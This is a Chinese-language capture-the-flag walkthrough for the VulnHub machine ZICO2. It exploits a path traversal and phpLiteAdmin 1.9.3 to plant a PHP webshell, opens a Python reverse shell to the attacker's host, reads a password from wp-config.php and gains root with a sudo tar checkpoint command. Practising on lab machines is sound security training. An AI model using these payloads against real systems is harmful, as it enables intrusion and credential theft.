ZICO2: 1【附代码】(权限提升)

靶机下载地址：

https://vulnhub.com/entry/zico2-1,210/https://vulnhub.com/entry/zico2-1,210/

1. 主机发现+端口扫描+目录扫描+敏感信息收集

1.1. 主机发现

nmap -sn 192.168.5.0/24|grep -B 2 '08:00:27:62:AC:7F'

1.2. 端口扫描

nmap -p- 192.168.5.66

1.3. 目录扫描

dirb http://192.168.5.66

1.4. 敏感信息收集

中间件：apache，操作系统：Ubuntu，CDN？？？【靶机应该用不上】

2. WEB打点漏洞挖掘拿shell

2.1. 进入80端口

1.老规矩，逐个点击功能点，尝试可以利用的功能 -> 下拉至网页末端，存在疑似文件包含的一个功能点

2.由上敏感信息收集，已知操作系统为Linux的Ubuntu尝试拼接常见的文件路径，由上已知操作系统为Linux的Ubuntu，但是暂时无用上传不了shell文件

http://192.168.5.66/view.php?page=../../../..//etc/passwd

2.2. 逐个拼接目录

1.拼接/dbadmin路径，发现包含着一个php文件 -> 尝试点击进入，是一个登录页面

2.尝试找一下有没有关于这个的Nday

3.有NDay，太笼统了，在kali里面直接寻找 -> 存在！而且有对应的版本号1.9.3 ->查看漏洞详情

searchsploit phpLiteadmin
cat /usr/share/exploitdb/exploits/php/webapps/24044.txt 

哈哈哈哈哈哈英语不大好，大致的关键点就是这样，还需要我们创建数据库在表的字段中写入木马文件

4.返回刚才的登录页面，尝试万能密码->不行 -> 尝试弱密码，😓【admin】好好好，弱密码admin

5.按照上述kali找到的漏洞流程利用 -> 先创建一个数据库 -> 创建一个表shell ->点击右边的go

6.进入编辑页面选择text格式 ，尝试写入一句话木马，点击creat -> 拼接路径尝试

<?php phpinfo();@system($_POST[cmd]);?>
# 拼接的路径 -> http://192.168.5.66/view.php?page=../../../..//usr/databases/shell.php

2.3. Getshell

1.kali打开监听

nc -lvnp 4444

2.此处可用burp抓包，更改POST数据包，此处我用火狐的一个插件-hackerBar更改数据包试试【用我的数据包记得改一下IP】

cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.64",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3.kali成功反弹到了

3. 权限提升

1.通过python转为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

2.查看一下我们所在的目录有无有用信息 ->无 ->去zico家目录下找找，找到wordpress -> 该目录下存在wp-config.php -> 找到zico的密码【zico:sWfCsfJSPV9H3AmQzw8】

cd /home/zico
ls -al 

cd wordpress
ls -al
cat wp-config.php
zico:sWfCsfJSPV9H3AmQzw8

3.利用账号密码切换到zico用户 -> 查看当前权限

su zico
sudo -l

此处我用的tar提权 -> id/whaomi 查看权限 -> 提权成功！

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh